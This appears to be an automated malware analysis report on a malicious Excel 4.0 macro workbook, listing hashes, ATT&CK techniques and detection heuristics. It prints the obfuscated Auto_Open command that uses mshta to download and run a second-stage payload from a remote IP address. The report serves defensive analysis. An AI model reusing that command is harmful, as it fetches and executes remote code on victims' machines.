Office (OLE) / .XLSX malware analysis — malicious · ad703c5d173ecc91

MALICIOUS

Office (OLE) / .XLSX

64.6 KB Created: 2021-12-16 23:53:43 Authoring application: Microsoft Excel

MD5: 194e28e242251e384fb17dfc3eab75a3 SHA-1: be192b2fab22d8dccaa89f975eaa9cde315c0100 SHA-256: ad703c5d173ecc9110d797f3272128d0bd21745acd34d207171021b8f448c5b3

100 Risk Score

Malware Insights

MITRE ATT&CK

T1204.002 Malicious File: User Execution: Malicious File T1059.005 Command and Scripting Interpreter: Visual Basic T1105 Ingress Tool Transfer

The sample is an Excel 4.0 macro-enabled spreadsheet that uses a lure to trick the user into enabling macros. Upon enabling, it executes an Auto_Open macro that reconstructs and runs the command 'cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html'. This command downloads a second-stage payload from the specified URL, indicating an Ingress Tool Transfer attack pattern.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `1b5d2c0fd960b0ccb52c9814b8358c9c313741806cb2c5ef8340a3322e5a67a4`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1391 bytes

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